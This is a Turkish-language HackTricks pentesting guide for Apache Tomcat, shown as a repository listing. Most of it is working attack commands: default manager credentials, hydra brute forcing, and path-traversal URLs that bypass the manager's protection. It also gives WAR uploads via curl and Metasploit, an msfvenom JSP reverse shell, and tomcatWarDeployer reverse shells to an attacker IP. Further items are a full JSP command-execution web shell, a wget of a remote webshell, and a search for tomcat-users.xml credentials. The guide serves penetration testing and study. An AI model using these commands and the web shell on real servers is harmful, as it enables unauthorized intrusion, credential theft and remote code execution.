hacktricks/network-services-pentesting/pentesting-web/tomcat
2024-04-11 00:57:20 +00:00
..
basic-tomcat-info.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-03-26 15:52:57 +00:00
README.md Translated ['network-services-pentesting/pentesting-web/tomcat/README.md 2024-04-11 00:57:20 +00:00

Tomcat

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Keşif

  • Genellikle 8080 numaralı portta çalışır
  • Yaygın Tomcat hatası:

Numaralandırma

Sürüm Tanımlama

Apache Tomcat sürümünü bulmak için basit bir komut çalıştırılabilir:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Yönetici Dosyaları Konumu

/manager ve /host-manager dizinlerinin tam konumlarını belirlemek önemlidir çünkü isimleri değiştirilmiş olabilir. Bu sayfaları bulmak için kaba kuvvet araması önerilir.

Kullanıcı Adı Numaralandırma

Tomcat sürümü 6'dan eski olanlar için kullanıcı adları numaralandırılabilir:

msf> use auxiliary/scanner/http/tomcat_enum

Varsayılan Kimlik Bilgileri

/manager/html dizini özellikle hassas bir alandır çünkü WAR dosyalarının yüklenip dağıtılmasına izin verir, bu da kod yürütmeyle sonuçlanabilir. Bu dizin, genellikle aşağıdaki gibi temel HTTP kimlik doğrulaması ile korunmaktadır:

  • admin:admin
  • tomcat:tomcat
  • admin:
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Bu kimlik bilgileri aşağıdaki komut kullanılarak test edilebilir:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Kaba Kuvvet Saldırısı

Yönetici dizinine kaba kuvvet saldırısı yapmak için şunu kullanabilirsiniz:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Ortak Zayıflıklar

Şifre Geri İzleme Açığı

/auth.jsp'ye erişmek, şanslı durumlarda şifreyi bir geri izleme altında ortaya çıkarabilir.

Çift URL Kodlama

mod_jk'daki CVE-2007-1860 zayıflığı, çift URL kodlama yol gezintisine izin verir ve özel olarak oluşturulmuş bir URL aracılığıyla yönetim arayüzüne izinsiz erişime olanak tanır.

Tomcat yönetim webine erişmek için: pathTomcat/%252E%252E/manager/html

/örnekler

Apache Tomcat sürümleri 4.x ile 7.x, bilgi sızdırmaya ve çapraz site komut dosyası (XSS) saldırılarına duyarlı olan örnek betikleri içerir. Bu detaylı olarak listelenen betikler, izinsiz erişim ve potansiyel istismar için kontrol edilmelidir. Daha fazla bilgi için buraya bakın

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Yol Gezintisi Sömürüsü

Bazı Tomcat'ın zayıf yapılandırmalarında /..;/ yolunu kullanarak Tomcat'taki korunan dizinlere erişebilirsiniz.

Örneğin, Tomcat yöneticisine erişebilirsiniz www.zayıf.com/lalala/..;/manager/html'ye erişerek

Bu hileyi kullanarak korunan yolları atlaymanın başka bir yolu şudur: http://www.zayıf.com/;param=value/manager/html'ye erişmek

Uzaktan Kod Çalıştırma (RCE)

Son olarak, Tomcat Web Uygulama Yöneticisine erişiminiz varsa, bir .war dosyası yükleyip dağıtabilirsiniz (kod çalıştırın).

Sınırlamalar

Yeterli ayrıcalıklarınız varsa (roller: admin, manager ve manager-script), yalnızca bir WAR dağıtabilirsiniz. Bu ayrıntılar genellikle /usr/share/tomcat9/etc/tomcat-users.xml'de tanımlanır (sürümler arasında değişebilir) (bkz. POST bölümü).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit, açık kaynaklı bir sızma testi çerçevesidir. Metasploit Framework, sızma testi ve güvenlik araştırmaları için kullanılan bir araç setidir. Metasploit, sızma testi sırasında kullanılan modüller aracılığıyla hedef sistemlere saldırmak için kullanılır. Metasploit, sızma testi uzmanlarına ve güvenlik araştırmacılarına geniş bir saldırı yelpazesi sunar.

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Ters Kabuk

  1. Yayınlamak için war dosyası oluşturun:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
  1. revshell.war dosyasını yükleyin ve erişim sağlayın (/revshell/):

tomcatWarDeployer.py ile bağlantı ve ters kabuk oluşturun

Bazı senaryolarda bu çalışmaz (örneğin eski sun sürümleri)

İndir

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Ters kabuk

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bağlama kabuğu

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Culsterd Kullanımı

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Manuel yöntem - Web kabuğu

Bu içerik ile index.jsp oluşturun:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Manuel Yöntem 2

Bir JSP web kabuğu edinin, örneğin bu ve bir WAR dosyası oluşturun:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Tomcat kimlik bilgileri dosyasının adı tomcat-users.xml

find / -name tomcat-users.xml 2>/dev/null

Diğer Tomcat kimlik bilgilerini toplama yöntemleri:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Diğer tomcat tarama araçları

Referanslar

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Sıfırdan kahraman olacak şekilde AWS hackleme konusunda htARTE (HackTricks AWS Red Team Expert) öğrenin!